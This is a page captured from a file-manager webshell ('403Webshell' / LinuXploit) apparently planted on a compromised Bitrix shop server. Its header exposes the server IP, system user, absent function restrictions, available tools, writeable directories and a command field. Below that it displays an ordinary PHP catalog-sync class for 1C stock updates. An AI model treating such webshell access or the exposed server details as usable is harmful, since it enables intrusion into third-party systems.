403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/wbs24.exchange1c/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/wbs24.exchange1c/lib/Catalog.php
<?php
namespace Wbs24\Exchange1c;

use Bitrix\Main\SystemException;

class Catalog implements Interfaces\Catalog
{
    use Exception;

    protected $wrappers;
    protected $Settings;
    protected $Formula;
    protected $Db;

    protected $warehouses;
    protected $moduleSettings;
    protected $allowedProductIds;

    protected $settingsSuffixes = [
        '',
        //'ForOffers',
    ];
    protected $settingsToProductFields = [
        'articlePropertyCode' => 'sku',
        //'colorPropertyCode' => 'color',
        //'sizePropertyCode' => 'size',
        'barcodesProperty' => 'barcode',
        //'ratioPropertyCode' => 'packageRatio',
    ];
    protected $requiredSettings = [
        'articlePropertyCode',
    ];

    public function __construct($objects = [])
    {
        $this->wrappers = new Wrappers($objects);
        $this->Settings = $objects['Settings'] ?? new Settings($objects);
        $this->Formula = $objects['Formula'] ?? new Formula($objects);
        $this->Db = $objects['Db'] ?? new Db($objects);

        $this->moduleSettings = $this->Settings->get();
    }

    public function setProducts(array $products): array
    {
        $report = [
            'updated_stocks_for_product_ids' => [],
            'updated_prices_for_product_ids' => [],
            'updated_skus' => [],
            'not_found' => [],
        ];
        $settings = $this->moduleSettings;
        $updateOnlyAllowedProducts = $settings['updateOnlyAllowedProducts'] ?? 'Y';

        $allowedProductIds = ($updateOnlyAllowedProducts == 'Y') ? $this->getAllowedProductIds() : [];

        foreach ($products as $product) {
            $productId = false;
            //$barcodes = $this->getBarcodes($product); // отключено
            $sku = $product['sku'] ?? false;

            // поиск по barcodes - отключено
            /* if ($settings['searchByBarcode'] == 'Y') {
                $productId = $this->getProductIdByBarcode($barcodes);
            } */

            // поиск по sku
            if (!$productId && $settings['searchBySku'] == 'Y') {
                $productId = $this->getProductId($product);
                //$this->setBarcodes($productId, $barcodes); // отключено
            }

            if (!$productId
                || (
                    $updateOnlyAllowedProducts == 'Y'
                    && !in_array($productId, $allowedProductIds)
                )
            ) {
                $report['not_found'][] = $product;
                continue;
            }

            // конвертация в комплекты - отключена
            // $productMeta = $this->getProductMeta($productId);
            // $packageRatio = $this->getPackageRatio($productMeta);

            // задан коэф упаковки по умолчанию
            $packageRatio = 1;

            // обновить остатки на складах
            $stocks = $this->getProductStocks($product, $packageRatio);
            $updateStocksResult = $this->updateStocks($productId, $stocks);

            // обновить доступное кол-во
            $updateAvailableQuantityResult = $this->updateAvailableQuantity($productId, $product, $packageRatio);

            // обновление цен - отключено
            //$prices = $this->getProductPrices($product, $packageRatio);
            //$updatePricesResult = $this->updatePrices($productId, $prices);

            if ($updateStocksResult || $updateAvailableQuantityResult) {
                $report['updated_stocks_for_product_ids'][] = $productId;
                $report['updated_skus'][] = $sku;
            }
            if ($updatePricesResult) {
                $report['updated_prices_for_product_ids'][] = $productId;
                $report['updated_skus'][] = $sku;
            }
        }

        $report['updated_skus'] = array_unique($report['updated_skus']);

        if ($this->moduleSettings['debug']) {
            $this->createReport('update.log', $report);
        }

        return $report;
    }

    public function getAllowedProductIds()
    {
        if ($this->allowedProductIds !== null) return $this->allowedProductIds;

        $productIds = [];
        $settings = $this->moduleSettings;

        // поиск товаров
        $products = $this->getProducts([
            'filter' => [
                'PROPERTY_'.$settings['allowTransferProperty'] => 'Да',
            ],
        ]);
        foreach ($products as $product) {
            $productId = $product['ID'] ?? false;
            if ($productId) $productIds[] = $productId;
        }

        // поиск ТП
        /* if ($productIds) {
            $offers = $this->getProducts([
                'filter' => [
                    'PROPERTY_'.$settings['linkProductPropertyForOffers'] => $productIds,
                ],
            ]);
            foreach ($offers as $product) {
                $productId = $product['ID'] ?? false;
                if ($productId && !in_array($productId, $productIds)) $productIds[] = $productId;
            }
        } */

        $this->allowedProductIds = $productIds;

        return $productIds;
    }

    public function dropStocksExcludeProductsIds(array $excludeProductsIds)
    {
        if ($this->moduleSettings['allowDropStocksIfNotTransfer'] != 'Y') return;

        $stocks = $this->Db->get('b_catalog_store_product');
        $allowedProductIds = $this->getAllowedProductIds();
        $warehouses = $this->getWarehouses();

        foreach ($stocks as $stockInfo) {
            $curProductId = $stockInfo['PRODUCT_ID'] ?? false;
            $storeId = $stockInfo['STORE_ID'] ?? false;
            if (
                $curProductId
                && $storeId !== false
                && !in_array($curProductId, $excludeProductsIds)
                && in_array($curProductId, $allowedProductIds)
            ) {
                // если склад не доступен, пропустить
                if (!isset($warehouses[$storeId])) continue;

                // сброс остатков на складе
                $this->Db->clear('b_catalog_store_product', [
                    'PRODUCT_ID' => $curProductId,
                    'STORE_ID' => $storeId,
                ]);

                // сброс доступного кол-ва
                $this->setAvailableQuantity($curProductId, 0);
            }
        }
    }

    public function getProductId(array $product): ?int
    {
        $productId = null;
        $filter = $this->getFilter($product);

        if ($filter) {
            $products = $this->getProducts([
                'filter' => $filter,
                'limit' => 2,
            ]);
            if (count($products) > 1) {
                $productId = null;
            } else {
                $productId = $products[0]['ID'] ?? null;
            }
        }

        return $productId;
    }

    public function getProductMeta(int $productId): array
    {
        $productMeta = [];
        $settingsSuffixes = $this->settingsSuffixes;
        $settingsToProductFields = $this->settingsToProductFields;
        $settings = $this->moduleSettings;
        $select = ['ID', 'IBLOCK_ID'];

        foreach ($settingsSuffixes as $suffix) {
            foreach ($settingsToProductFields as $settingsKey => $productField) {
                $propCode = $settings[$settingsKey.$suffix];
                if (!$propCode) continue;
                $preparedPropCode = $this->getPropertyCode($propCode);
                $select[] = 'PROPERTY_'.$preparedPropCode;
            }
        }
        $products = $this->getProducts([
            'filter' => [
                'ID' => $productId,
            ],
            'select' => $select,
            'limit' => 1,
        ]);
        $product = $products[0] ?? false;
        if ($product) {
            foreach ($settingsSuffixes as $suffix) {
                foreach ($settingsToProductFields as $settingsKey => $productField) {
                    $propCode = $settings[$settingsKey.$suffix];
                    if (!$propCode) continue;
                    $preparedPropCode = $this->getPropertyCodeWithValueSuffix($propCode);
                    $code = 'PROPERTY_'.$preparedPropCode;
                    $value = $product[$code] ?? '';
                    if (is_array($value)) $value = $value[0] ?? '';
                    if (empty($productMeta[$productField])) $productMeta[$productField] = $value;
                }
            }
        }

        // если packageRatio не найден в элементе каталога
        /* if (!$productMeta['packageRatio']) {
            $productMeta['packageRatio'] = $this->getPackageRatio($productMeta);
        } */

        return $productMeta;
    }

    protected function getBarcodes(array $product): array
    {
        $barcodes = $product['barcode'] ?: [];
        if (!is_array($barcodes)) $barcodes = [$barcodes];

        return $barcodes;
    }

    protected function getProductIdByBarcode(array $barcodes): ?int
    {
        $settings = $this->moduleSettings;
        $propertyCode = $settings['barcodesProperty'] ?: false;
        if (!$propertyCode || !$barcodes) return null;

        $productId = null;

        foreach ($barcodes as $barcode) {
            $products = $this->getProducts([
                'filter' => [
                    'PROPERTY_'.$propertyCode => $barcode,
                ],
                'select' => ['ID', 'IBLOCK_ID'],
                'limit' => 1,
            ]);
            $productId = $products[0]['ID'] ?? null;
            if ($productId) break;
        }

        return $productId;
    }

    protected function setBarcodes(?int $productId, array $barcodes)
    {
        if (!$productId || !$barcodes) return;

        $settings = $this->moduleSettings;

        $propertyCode = $settings['barcodesProperty'] ?: false;
        if ($propertyCode) $this->wrappers->CIBlockElement->SetPropertyValuesEx($productId, null, [
            $propertyCode => $barcodes,
        ]);
    }

    // не используется
    protected function getPackageRatio(array $productMeta): int
    {
        $sku = $productMeta['sku'] ?? '';
        $ratio = $this->getPackageRatioFromSku($sku);

        return $ratio;
    }

    // не используется
    protected function getPackageRatioFromSku(string $sku): int
    {
        $ratio = 1;

        if ($sku) {
            preg_match("/(.+)_(.+)_(.+)_(.+)_(.+)/", $sku, $matches);
            $foundRatio = $matches[4] ?: false;
            if ($foundRatio) {
                $ratio = intval($foundRatio);
                if ($ratio < 1) $ratio = 1;
            }
        }

        return $ratio;
    }

    protected function getPropertyCode(string $code): string
    {
        if (substr($code, -6) == '_VALUE') $code = substr($code, 0, -6);

        return $code;
    }

    protected function getPropertyCodeWithValueSuffix(string $code): string
    {
        if ($code && substr($code, -6) != '_VALUE') $code .= '_VALUE';

        return $code;
    }

    protected function getProducts(array $param): array
    {
        $sort = $param['sort'] ?? [];
        $filter = $param['filter'] ?? [];
        $select = $param['select'] ?? ['ID', 'IBLOCK_ID'];
        $limit = $param['limit'] ?? false;
        $products = [];
        $i = 0;

        $result = $this->wrappers->CIBlockElement->GetList(
            $sort,
            $filter,
            false,
            false,
            $select
        );
        while ($fields = $result->Fetch()) {
            $i++;
            if ($limit && $i > $limit) break;

            $products[] = $fields;
        }

        return $products;
    }

    // не используется - нужен для одновременного поиска по простым товарам и ТП
    protected function getFilterWithOrLogic(array $product): array
    {
        $fullFilter = ['LOGIC' => 'OR'];
        $settingsSuffixes = $this->settingsSuffixes;

        foreach ($settingsSuffixes as $suffix) {
            $fullFilter[] = $this->getFilter($product, $suffix);
        }

        return $fullFilter;
    }

    protected function getFilter(array $product, string $settingSuffix = ''): array
    {
        $settingsToProductFields = $this->settingsToProductFields;
        $requiredSettings = $this->requiredSettings;
        $settings = $this->moduleSettings;
        $error = false;

        foreach ($settingsToProductFields as $settingsKey => $productField) {
            $continue = false;
            $propertyCode = $settings[$settingsKey.$settingSuffix] ?? false;
            if (!$propertyCode) $continue = true;
            $productFieldValue = $product[$productField] ?? false;
            if (!$productFieldValue) $continue = true;
            if ($continue) {
                if (in_array($settingsKey, $requiredSettings)) {
                    $error = true;
                    break;
                }
                continue;
            }

            // игнорировать значения MIX (то есть в ассортименте)
            //if ($settingsKey.$settingSuffix == 'articlePropertyCodeForOffers') $productFieldValue .= '_%';
            //if ($productFieldValue != 'MIX') $filter['PROPERTY_'.$propertyCode] = $productFieldValue;

            $filter['PROPERTY_'.$propertyCode] = $productFieldValue;
        }
        if ($error) $filter = [];

        return $filter;
    }

    protected function getProductStocks(array $product, int $packageRatio = 1): array
    {
        $stocks = [];
        $warehousesInfo = $this->getWarehousesInfo();
        foreach ($warehousesInfo as $warehouseId => $info) {
            $stocks[$warehouseId] = 0;
        }

        $productStocks = $product['stocks'] ?? [];
        foreach ($productStocks as $info) {
            $warehouseId = $this->getWarehouseIdFromStockInfo($info, $warehousesInfo);
            if (!$warehouseId) continue;
            if (!isset($stocks[$warehouseId])) continue;
            $singleStock = intval($info['quantity'] ?? 0);

            $stock = floor($singleStock / $packageRatio); // с учетом упаковки

            $stocks[$warehouseId] = $stock;
        }

        return $stocks;
    }

    protected function getWarehouseIdFromStockInfo(array $stockInfo, array $warehousesInfo)
    {
        $warehouseId = $stockInfo['stockId'] ?? false;
        if ($warehouseId && !is_numeric($warehouseId)) {
            foreach ($warehousesInfo as $id => $info) {
                if ($warehouseId == $info['XML_ID']) {
                    $warehouseId = $id;
                    break;
                }
            }
        }

        return $warehouseId;
    }

    public function getWarehouses(): array
    {
        if (!$this->warehouses) {
            $warehouses = [];
            $warehousesInfo = $this->getWarehousesInfo();
            foreach ($warehousesInfo as $id => $info) {
                $warehouses[$id] = $info['TITLE'];
            }
            $this->warehouses = $warehouses;
        }

        return $this->warehouses;
    }

    public function getWarehousesInfo(): array
    {
        $warehousesInfo = [];
        $settings = $this->moduleSettings;
        $filter = ['ACTIVE' => 'Y'];
        $allowedWarehouseIdsAsString = $settings['allowedWarehouseIds'] ?? '';
        $allowedWarehouseIds = explode(',', $allowedWarehouseIdsAsString);
        $filter['ID'] = $allowedWarehouseIds;

        if ($allowedWarehouseIdsAsString) {
            $result = $this->wrappers->StoreTable->getList([
                'filter' => $filter,
                'select' => ['ID', 'XML_ID', 'TITLE'],
            ]);
            while ($fields = $result->Fetch()) {
                $warehousesInfo[$fields['ID']] = $fields;
            }
        }

        return $warehousesInfo;
    }

    protected function updateStocks(int $productId, array $stocks): bool
    {
        $warehouseStocks = $this->getStocksFromWarehouses($productId);
        $newWarehouseStocks = [];
        $needUpdate = false;

        foreach ($stocks as $warehouseId => $quantity) {
            $currentWarehouseInfo = $warehouseStocks[$warehouseId] ?? [
                'ID' => false,
                'AMOUNT' => 0,
                'STORE_ID' => $warehouseId,
            ];
            $currentWarehouseInfo['AMOUNT'] = $quantity;
            $newWarehouseStocks[$warehouseId] = $currentWarehouseInfo;
        }

        $success = $this->updateStocksInWarehouses($productId, $newWarehouseStocks);

        return $success;
    }

    /**
     * Если переданы остатки для доступного кол-ва - применить их
     */
    protected function updateAvailableQuantity(int $productId, array $product, int $packageRatio = 1)
    {
        $success = false;
        $availableQuantity = $product['availableQuantity'] ?? false;

        if ($availableQuantity !== false) {
            $success = true;
            $quantity = $availableQuantity / $packageRatio;
            $this->setAvailableQuantity($productId, $quantity);
        }

        return $success;
    }

    public function setAvailableQuantity(int $productId, int $quantity)
    {
		$fields = ['QUANTITY' => $quantity];
		$this->wrappers->CCatalogProduct->Update($productId, $fields);
    }

    protected function getStocksFromWarehouses(int $productId): array
    {
        $warehouseStocks = [];
        $result = $this->wrappers->StoreProductTable->getList([
            'filter' => ['=PRODUCT_ID' => $productId, 'STORE.ACTIVE' => 'Y'],
            'select' => ['ID', 'AMOUNT', 'STORE_ID'],
        ]);
        while ($fields = $result->Fetch()) {
            $warehouseId = $fields['STORE_ID'];
            $warehouseStocks[$warehouseId] = $fields;
        }

        return $warehouseStocks;
    }

    protected function updateStocksInWarehouses(int $productId, array $newStocks): bool
    {
        $success = false;
        $countSuccess = 0;
        $results = [];

        foreach ($newStocks as $warehouseId => $info) {
            $id = $info['ID'] ?: false;
            unset($info['ID']);
            if ($id) {
                $results[] = $this->wrappers->StoreProductTable->update(
                    $id,
                    $info
                );
            } else {
                $info['PRODUCT_ID'] = $productId;
                $results[] = $this->wrappers->StoreProductTable->add($info);
            }
        }

        foreach ($results as $result) {
            if ($result->isSuccess()) $countSuccess++;
        }
        if ($countSuccess == count($results)) $success = true;

        return $success;
    }

    protected function getProductPrices(array $product, int $packageRatio = 1): array
    {
        $prices = [];
        $settings = $this->moduleSettings;
        $singleWholesalePrice = $product['wholesalePrice'] ?? 0;

        $wholesalePrice = $singleWholesalePrice * $packageRatio; // с учетом упаковки

        $this->Formula->setMarks(['WHOLESALE_PRICE']);
        $this->Formula->setFormula($settings['basePriceFormula']);
        $basePrice = $this->Formula->calc([
            'WHOLESALE_PRICE' => $wholesalePrice,
        ]);

        if ($settings['updateBasePrice'] == 'Y') {
            $prices[$settings['basePriceType']] = $basePrice;
        }
        if ($settings['updateWholesalePrice'] == 'Y') {
            $prices[$settings['wholesalePriceType']] = $wholesalePrice;
        }

        return $prices;
    }

    protected function updatePrices(int $productId, array $prices): bool
    {
        $success = false;
        $countSuccess = 0;

        foreach ($prices as $priceType => $price) {
            $successStep = $this->updatePrice($productId, $priceType, $price);
            if ($successStep) $countSuccess++;
        }
        if ($countSuccess == count($prices)) $success = true;

        return $success;
    }

    protected function updatePrice(int $productId, int $priceType, float $price): bool
    {
        $success = false;
        $settings = $this->moduleSettings;
        $loadFields = [
            "PRODUCT_ID" => $productId,
            "CATALOG_GROUP_ID" => $priceType,
            "PRICE" => $price,
            "CURRENCY" => $settings['currency'],
        ];

        $priceResult = $this->wrappers->Price->getList([
            "filter" => [
                "PRODUCT_ID" => $productId,
                "CATALOG_GROUP_ID" => $priceType,
            ],
        ]);
        if ($priceFields = $priceResult->fetch()) {
            $updateResult = $this->wrappers->Price->update($priceFields["ID"], $loadFields);
        } else {
            $updateResult = $this->wrappers->Price->add($loadFields);
        }
        if ($updateResult->isSuccess()) $success = true;

        return $success;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit